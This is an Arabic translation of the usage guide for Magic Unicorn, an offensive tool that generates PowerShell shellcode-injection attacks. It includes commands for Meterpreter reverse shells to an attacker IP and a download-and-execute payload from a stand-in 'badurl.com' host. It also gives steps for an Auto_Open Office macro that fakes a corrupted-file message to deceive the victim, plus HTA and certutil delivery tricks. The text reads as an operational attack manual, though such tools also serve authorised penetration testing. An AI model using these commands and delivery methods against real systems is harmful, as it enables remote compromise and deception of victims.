
Unicorn هي أداة بسيطة لاستخدام هجوم تخفيض مستوى PowerShell وحقن شيل كود مباشرة في الذاكرة. استنادًا إلى هجمات PowerShell لماثيو غرايبر وتقنية تجاوز PowerShell التي قدمها ديفيد كينيدي (TrustedSec) وجوش كيلي في مؤتمر Defcon 18.
كتابة: ديف كينيدي (@HackingDave) الموقع الإلكتروني: https://www.trustedsec.com
Magic Unicorn هي أداة بسيطة لاستخدام هجوم خفض مستوى PowerShell وحقن شيل كود مباشرة في الذاكرة. بناءً على هجمات PowerShell الخاصة بـ Matthew Graeber وتقنية تجاوز PowerShell التي قدمها David Kennedy (TrustedSec) وجوش كيلي في Defcon 18.
الاستخدام بسيط، فقط قم بتشغيل Magic Unicorn (تأكد من تثبيت Metasploit إذا كنت تستخدم طرق Metasploit وفي المسار الصحيح) وسيقوم Magic Unicorn تلقائياً بإنشاء أمر PowerShell الذي تحتاج فقط إلى قصه ولصقه في نافذة سطر الأوامر أو من خلال نظام توصيل الحمولة. يدعم Unicorn شيل كود الخاص بك، Cobalt Strike، و Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
هجمات حقن PowerShell الأصلية x86 على أي منصة ويندوز.
كتابة: ديف كينيدي في TrustedSec (https://www.trustedsec.com)
تويتر: @TrustedSec, @HackingDave
شكر وتقدير: Matthew Graeber، Justin Elze، Chris Gates
أتمنى لكم حظاً سعيداً مع Unicorns السحرية.
الاستخدام: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
مثال على PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
مثال على الماكرو: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
مثال على الماكرو CS: python unicorn.py <cobalt_strike_file.cs> cs macro
مثال على الماكرو Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
مثال على HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
مثال على HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
مثال على HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
مثال على DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
مثال على CRT: python unicorn.py <path_to_payload/exe_encode> crt
مثال على PS1 مخصص: python unicorn.py <path to ps1 file>
مثال على PS1 مخصص: python unicorn.py <path to ps1 file> macro 500
مثال على Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (تصدير CS بتنسيق C#)
مثال على Shellcode مخصص: python unicorn.py <path_to_shellcode.txt> shellcode (منسق 0x00)
قائمة المساعدة: python unicorn.py --help
تم إنشاء كل شيء الآن في ملفين، powershell_attack.txt و unicorn.rc. يحتوي الملف النصي على جميع الأكواد اللازمة لحقن هجوم PowerShell في الذاكرة. لاحظ أنك ستحتاج إلى مكان يدعم حقن الأوامر عن بعد من نوع ما. غالبًا ما يكون هذا من خلال مستند Excel/Word أو من خلال أوامر psexec داخل Metasploit، SQLi، إلخ. هناك الكثير من التطبيقات والسيناريوهات التي يمكنك استخدام هذا الهجوم فيها. ببساطة الصق أمر powershell_attack.txt في أي نافذة موجه أوامر أو حيث لديك القدرة على استدعاء الملف القابل للتنفيذ PowerShell وسيعطيك شيل مرة أخرى. يدعم هذا الهجوم أيضًا windows/download_exec كطريقة حمولة بدلاً من حمولات Meterpreter فقط. عند استخدام التحميل والتنفيذ، ببساطة ضع python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe وسيقوم كود PowerShell بتحميل الحمولة وتنفيذها.
لاحظ أنك ستحتاج إلى تشغيل مستمع لالتقاط الهجوم.
بالنسبة لهجوم الماكرو، ستحتاج إلى الذهاب إلى File، Properties، Ribbons، واختيار Developer. بمجرد القيام بذلك، سيكون لديك علامة تبويب المطور. قم بإنشاء ماكرو جديد، أطلق عليه Auto_Open والصق الكود المُنشأ فيه. سيتم تشغيله تلقائياً. لاحظ أنه سيظهر للمستخدم رسالة تفيد بأن الملف تالف وسيتم إغلاق مستند Excel تلقائياً. هذا سلوك طبيعي! هذا يخدع الضحية ليعتقد أن مستند Excel تالف. يجب أن تحصل على شيل من خلال حقن PowerShell بعد ذلك.
إذا كنت تنشر هذا ضد إصدارات Office365/2016+ من Word، فأنت بحاجة إلى تعديل السطر الأول من المخرجات من: Sub Auto_Open()
إلى: Sub AutoOpen()
يجب أن يكون اسم الماكرو نفسه "AutoOpen" بدلاً من تسمية "Auto_Open" القديمة.
ملاحظة: عند نسخ ولصق ملف Excel، إذا تمت إضافة مسافات إضافية، فأنت بحاجة إلى إزالتها بعد كل قسم من كود PowerShell تحت المتغير "x" وإلا سيحدث خطأ في الصياغة!
سيقوم هجوم HTA تلقائياً بإنشاء ملفين، الأول index.html الذي يخبر المتصفح باستخدام Launcher.hta والذي يحتوي على كود حقن PowerShell الضار. يتم تصدير جميع الملفات إلى مجلد hta_access/ وسيكون هناك ثلاثة ملفات رئيسية. الأول هو index.html، والثاني Launcher.hta، والأخير ملف unicorn.rc. يمكنك تشغيل msfconsole -r unicorn.rc لتشغيل المستمع الخاص بـ Metasploit.
يجب على المستخدم النقر على "السماح" والموافقة عند استخدام هجوم HTA حتى يعمل حقن PowerShell بشكل صحيح.
تم تحديد ناقل هجوم certutil بواسطة Matthew Graeber (@mattifestation) والذي يسمح لك بأخذ ملف ثنائي، وتحويله إلى تنسيق base64 واستخدام certutil على جهاز الضحية لتحويله مرة أخرى إلى ثنائي لك. يجب أن يعمل هذا على أي نظام تقريباً ويسمح لك بنقل ملف ثنائي إلى جهاز الضحية من خلال ملف شهادة مزيف. لاستخدام هذا الهجوم، ببساطة ضع ملفًا تنفيذيًا في مسار unicorn وقم بتشغيل python unicorn.py <exe_name> crt للحصول على مخرجات base64. بمجرد الانتهاء، اذهب إلى مجلد decode_attack/ الذي يحتوي على الملفات. ملف bat هو أمر يمكن تشغيله على جهاز ويندوز لتحويله مرة أخرى إلى ثنائي.
تتيح لك طريقة الهجوم هذه تحويل أي ملف PowerShell (.ps1) إلى أمر مشفر أو ماكرو.
لاحظ أنه إذا اخترت خيار الماكرو، فقد يتجاوز ملف ps1 الكبير عدد الأحرف المسموح به من قبل VBA. يمكنك تغيير عدد الأحرف في كل سلسلة VBA عن طريق تمرير عدد صحيح كمعامل.
أمثلة:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500